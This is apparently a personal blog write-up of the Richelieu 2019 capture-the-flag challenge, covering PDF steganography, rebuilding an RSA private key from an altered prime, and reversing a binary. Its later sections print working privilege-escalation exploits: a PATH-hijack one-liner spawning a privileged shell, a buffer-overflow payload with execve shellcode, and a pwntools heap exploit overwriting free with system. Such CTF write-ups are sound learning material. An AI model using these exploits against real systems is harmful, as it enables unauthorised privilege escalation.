Challenge Richelieu 2019 (WIP)

Posted on 14 Jun 2019, 12:20 in WriteUps

Challenge description

This challenge was released during the Vivatech gathering of 2019. It was called Richelieu, as Cardinal Richelieu, a famous french stateman of the seventieth century who was some kind of prime minister back then and who worked hard to establish an absolute monarchy.

This challenge starts with an URL leading to a website showing a countdown to the end of the challenge and nothing else (no further explanation or goal).

Screenshot of the countdown

Preliminaries

Before the real challenging tasks, there are a bunch of small steps.

Hidden path

The first step is really easy: by looking at the HMTL source, we identify the URL of a PDF file.

Result of curl on original URL

Bleached PDF

Inside the PDF, there seems to be only a small text and a lot of blank pages. In fact, the pages are not empty but contains white text.

PDF hiding text

We use pdftotext to extract the content of the pdf and the following one-liner is able to filter correctly everything and decode the base64 encoded content.

One liner curl https://challengecybersec.fr/Richelieu.pdf | pdftotext Richelieu.pdf - | sed -z -e 's/\x0a\x0a\x0c/\x0a/g' | tail -n +9 | base64 -d > step2.jpg

The result is the following picture: step2.jpg

Embedded ZIP

By using binwalk on step2.jpg we find that there is an archive that has been concatenated at the end of the picture.

Result of binwalk on step2.jpg

We extract the whole archive by using dd:

dd if=step2.jpg of=step3.zip skip=445628 bs=1

Commented ZIP

When trying to deflate the file of this ZIP file, we are asked for a password. But what are the file included in this ZIP anyway?

Inspection of the zip file

Well... Thank you. The password was hidden in the comments of the files. When listing the content of a ZIP file using unzip -l, those comments are displayed.

Level up

If you want to jump directly to this step, you can use this one-liner:

One liner curl https://challengecybersec.fr/Richelieu.pdf --output tmp.pdf; pdftotext tmp.pdf - | sed -z -e 's/\x0a\x0a\x0c/\x0a/g' | tail -n +9 | base64 -d | dd if=/dev/stdin of=tmp.zip skip=445628 bs=1; unzip -P $(unzip -l tmp.zip | grep -o 'DGSE{.*}') tmp.zip; rm tmp.zip; rm tmp.pdf

Faulty prime

We are left with a bunch of files.

List of files deflated

But what really happened? Let's look at the .bash_history file containing the (partial) command history of a bash session.

Content of .bash_history

Without looking inside the other files, we can tell what basically happened:

  • Symmetric encryption of an image (the key is derived from a password gathered through stdin and most probably written in the file motDePasseGPG.txt);
  • Generation of an RSA key pair;
  • Extraction of one of the RSA prime in prime.txt;
  • Some 'search and replace' of some bytes of the RSA prime extracted;
  • Finally, encryption of motDePasseGPG.txt using the RSA key pair.

Thus, our goal is to revert the modifications made to prime.txt in order to reconstruct the RSA private key. This will not be as traight forward as some might think: for example, all '7f' bytes of the original prime were turned into 'fb' but this is not equivalent to say that each 'fb' bytes in the resulting prime comes from a '7f' byte in the original prime. To recover the original prime, we have to explore the tree of all possible changes and, at each leaf, check whether the prime found divides the public modulus or not.

Python source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import math
import re
from Crypto.PublicKey import RSA


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def inv_sed(before, after, p):
    it = [m.start() for m in re.finditer(after, p)]
    for i in combos(it) + [()]:
        res = p
        for j in i:
            res = res[:j] + before + res[j + 2:]
        yield res


def parse_p(pi):
    pi = ''.join(pi.split('\n')[1:])
    pi = pi.replace(' ', '').replace(':', '')
    return int(pi, 16)


def combos(x):
    if len(x) == 0:
        return []
    cs = combos(x[1:])
    return [(x[0],)] + [(x[0],) + c for c in cs] + cs


def factor(p_txt):
    # The order does not matter because the same byte doesn't appear twice.
    # sed -i 's/7f/fb/g' prime.txt
    for p0 in inv_sed("7f", "fb", p_txt):
        # sed -i 's/e1/66/g' prime.txt
        for p1 in inv_sed("e1", "66", p0):
            # sed -i 's/f4/12/g' prime.txt
            for p2 in inv_sed("f4", "12", p1):
                # sed -i 's/16/54/g' prime.txt
                for p3 in inv_sed("16", "54", p2):
                    # sed -i 's/a4/57/g' prime.txt
                    for p4 in inv_sed("a4", "57", p3):
                        # sed -i 's/b5/cd/g' prime.txt
                        for p5 in inv_sed("b5", "cd", p4):
                            p = parse_p(p5)
                            if (math.gcd(p, n) != 1):
                                return p, n // p


if __name__ == "__main__":

    n = int("CD5F8A24C7605008897A3C922C0E812E769DE0A46442C350CB78C7868539F3D38AAC80B3E6A506605910E8599806B4D1D148F2F6B81DA04796A8A5AEE18F29E83E16775A2A0A00870541F6574ED1438636AE0A0C116E07104F48F72094863A3869E1C8FC220627278962FB22873E3156F18E55DEC94E970064EC7F4E0E88454012E2FD5DFE5F8D19BF170F9CCB3F46E0FD1019BCB02D9083A0703C617F996379E6478354A73AE6E6ACBCE1F4333ECFAF24366A3E977D3CD3CBFE8D8A387BD876BFDAB8488F6F47BF1FBE33010FD2D7E22B4DB2E567783CE0B606DB86B93759714C4F6396A7FB9F74C4021043B0F3D46D2633EBD43A877863DF7D680F506587C119DD64100CA831CE2AF33D951B524C5F06B49F5BF2CB381E74181930D06A80505C06ABD5BF4870F0C9FB581BD80DBA889660639F936EDEA8FE5D0C9EAE58062ED693252583C71CC782BA613E01438E69B43F9E64ECA84F9EA04E811AD7B39EFD7876D1B6B501C4F48ACCE6F24239F6C04028788135CD88C3D15BE0F2EBB7DE9E9C19A7A93037005EE0A9A640BADA332EC0D05EE9F08A832354A0487A927D5E88066E2569E6C5D4688E422BFA0B27C6171C6D7BF029BFD9165752AF19AA71B33A1EA70B6C371FB21E47F527D80B7D04F582AD9F9935AF723682DC01CA9880621870DECB7AD15648CDF4EF153016F3E6D87933B8EC54CFA1FDF87C467020A3E753", 16)

    with open("prime.txt") as f:
        p_txt = f.read()
    p, q = factor(p_txt)
    e = 65537
    d = modinv(e, (p - 1) * (q - 1))
    priv_key = RSA.construct((n, e, d)).exportKey("PEM")

    with open("priv.key", "wb") as f:
        f.write(priv_key)

After recovering the RSA private key, we can decrypt the file motDePasseGPG.txt.enc and , then, decrypt lsb_RGB.png.enc.

One liner openssl rsautl -decrypt -inkey priv.key -in motDePasseGPG.txt.enc | gpg --batch --passphrase-fd 0 -o lsb_RGB.png -d lsb_RGB.png.enc

Stegano-guessing

Now that we have lsb_RGB.png, we will try to find what's hidden in this image. The name of this image is quite clear on the fact that we will need to use some steganography technique to extract information from it.

After some search with zsteg, we extract an ASCII file which is the hex-dump of an ELF binary. We then use xxd to recover the binary.

One liner zsteg -E b1,rgb,lsb,yx lsb_RGB.png | head -n +18594 | xxd -r > prog.bin

Reverse 101

We use ghidra to reverse the binary that we got from the previous step. We find the main function, which is straight-forward and focus on the verify_flag function.

Screenshot of the decompilation made by ghidra

The verify_flag function, after checking that the input is 32 characters long, apply a bitwise xor between the input and a deterministic sequence of bytes built from some data in the binary. Then, the program checks that the result of the xor is always zero. The following python script is used to recover which input would lead to the correct flag:

Python source code

1
2
3
4
5
6
7
8
9
import base64

if __name__ == "__main__":
    c = base64.b64decode(b"dzBjJl06DjsNTSofLh8tTyhRN3oUdiB4DyFNIWwRAC4=")
    l = len(c)
    k = b'\x33' + c[:-1]
    c_int = int.from_bytes(c, 'big')
    k_int = int.from_bytes(k, 'big')
    print((c_int ^ k_int).to_bytes(l, 'big')[:30])

The output of this script can be used as the password for the suite.zip archive found earlier.

Unzipping suite.zip leads to the next step

The real deal

Pathfinding

We can now connect using SSH to a remote server. In this server there is the classic configuration for challenge aiming at using local exploit to escalate privilege. This configuration is the following:

  • We are logged in as a user with execution right on a setuid binary which allows us to execute him as another user;
  • We don't have the necessary permission to read a given file (here, it is called drapeau.txt which means flag);
  • The other user has read permission on the file.

Thus, we need to exploit the binary (here called prog.bin) to be able to read the flag.

The program claims that it is a wrapper for some functions (like cal, date or sl).

Let's try too quickly see how cal or date is called:

strings -n 2 prog.bin | grep --color -a -E "(cal|date|sl|system)"

Searching in the strings of the binary using grep

It looks like it is just a call to system without using the absolute path of the binary. Then system or some underlying function will use the environment variable PATH to find the right binary to execute. We have control about PATH. We can then let our program execute whatever program we want by just creating a file named cal or date and pointing the PATH to its location. We must not forget to put our custom location in front of the PATH variable to ensure that the priority will be given to our custom cal or date.

Here is a one-line that prints the flag and gives us a shell as the more privileged user:

echo "cat drapeau.txt; bash -p" > /tmp/cal && chmod +x /tmp/cal && (echo "4"; cat -) | PATH=/tmp:/bin:/usr/bin ./prog.bin

Result of the previous one-liner

Now we can connect to the second server using the given host, user and password.

Password overflowing

There is the exact same configuration for this challenge: a setuid binary, and a file to read by exploiting this binary.

This binary propose to check the security of a couple login/password. The ASLR is enabled, the binary is dynamically linked and is stripped.

Output of the binary with basic inputs

It crashes when the input given is too big, so we can think of a buffer overflow when reading the input given by the user. We can also see that the username is truncated at 10 characters.

Crashing the binary using a long input

By doing some static and dynamic reverse-engineering work we can find that:

  • There is indeed a buffer overflow in the password buffer;
  • The location of the stack is randomized (because of the ASLR);
  • The 11th charaters of the username buffer is set to 0 if the username is too long;
  • If the couple username/password is considered good enough, the username buffer address is returned. Else, zero is returned.

We recall that in this binary (as in a most of x86 binary) the return value is stored by the callee in rax.

Here is my solution:

1
2
3
4
5
6
7
NOPSLED=\'\\x90\'*10
SHELLCODE2=\'\\xff\\xC0\'
SHELLCODE=\'\\x6a\\x42\\x58\\xfe\\xc4\\x48\\x99\\x52\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f
SHELLCODE=$SHELLCODE\\x2f\\x73\\x68\\x57\\x54\\x5e\\x49\\x89\\xd0\\x49\\x89\\xd2\\x0f\\x05\'
PATTERN=\'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7A-\'
JMPRAX=\'\\x05\\x06\\x40\\0\'
python2 -c "print($NOPSLED + $SHELLCODE2 + $SHELLCODE + '\n' + $PATTERN + $JMPRAX)" > payload && cat payload - | ./prog.bin

I'm not really familiar with exploit challenge, so my solution is not that nice. But the main parts are:

  • NOPSLED at the beginning of the username buffer;
  • SHELLCODE2 is used to store a single instruction not interferring with the rest of the shellcode. This instruction's first byte will be overwritten by a nullbyte (here: ffc3 -> 00c3 -> add bl, al)
  • SHELLCODE containing the actual shellcode (source for the shellcode: Shellstorm 905) that will pop a shell;
  • PATTERN that was used to find easily where the overflow occured, and contain the "password" that fullfills all requierements for a "strong" password according to the binary;
  • JMPRAX is the non-randomized address of a jmp rax instruction;

The whole payload is assembled the python CLI and stored in a payload file. Then all we have to do is to feed the payload to the binary (while keeping stdin open).

What will happen is that when the vulnerable function will return, it will try to read the instruction at $JMPRAX because of the overflow. So the next instruction will be to move the program counter to the address stored in rax, which is the start of the username buffer that we control. The binary will now execute whatever is in the username buffer. In this case, it's our shellcode. Even if the username is overwritten with a nullbyte, it doesn't break our shellcode thanks to $SHELLCODE2.

Now that we have a shell as privileged user, we can display the flag which gives us another host, user and password. This will be the final step.

Allocating is hard

Work in Progress...

Félicitations à vous, vous avez réussi l'intégralité du challenge Richelieu !
Vous avez la perspicacité et le profil pour relever les défis technologiques au sein de nos équipes.

Dès maintenant, vous pouvez envoyer le tag [Y2hhbGxlbmdlLVJpY2hlbGlldQ==] accompagné, si vous le souhaitez, d'un CV et d'une lettre de motivation à l'adresse suivante : _redacted_@intradef.gouv.fr.

Python source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import pwn

diff_system_free = -0x3c090

def create(prog, name, id_):
    payload = ''
    payload += '1\n'
    payload += name
    payload += '\n'
    payload += id_
    payload += '\n'
    prog.send(payload)
    return payload


def display(prog):
    prog.send("2\n")
    return "2\n"


def free(prog, elem, what="id"):
    payload = ''
    payload += "3\n"
    payload += str(elem)
    payload += '\n'
    if what == "id":
        payload += "1\n"
    elif what == "name":
        payload += "2\n"

    prog.send(payload)
    return payload


def change_id(prog, elem, new_id):
    payload = ''
    payload += "5\n"
    payload += str(elem)
    payload += '\n'
    payload += new_id
    payload += '\n'
    prog.send(payload)
    return payload


def change_name(prog, elem, new_name):
    payload = ''
    payload += "4\n"
    payload += str(elem)
    payload += '\n'
    payload += new_name
    payload += '\n'
    prog.send(payload)
    return payload


if __name__ == "__main__":
    prog = pwn.process(["./prog.bin", "16"])

    print(prog.recv())
    create(prog, '0', 'AAAA')
    display(prog)
    free(prog, 0, "id")
    create(prog, '1', 'cat drapeau.txt')
    # elem_store1 is now at the same addr as elem_store[0]["id"]
    change_id(prog, 0, '\x18\x20\x60')
    print(prog.recv())
    display(prog)
    l = prog.recvline()
    while "ment[1]" not in l:
        l = prog.recvline()

    res0 = l
    patt = "> nom : " 
    i = res0.find(patt) + len(patt)
    addr = res0[i:-1][::-1].encode("hex")
    print(addr)

    free_addr = int(addr, 16)
    system_addr = hex(free_addr + diff_system_free)[2:]
    print(system_addr)
    system_addr = system_addr.decode("hex")[::-1]
    print(system_addr)
    print(len(system_addr))
    change_name(prog, 1, system_addr)
    print(prog.recv())

    #pwn.context.terminal = '/usr/bin/xterm-termite'
    #pwn.gdb.attach(prog, "b *0x4005f0\ncontinue")
    # trigger
    free(prog, 1, "id")
    prog.interactive()
    prog.close()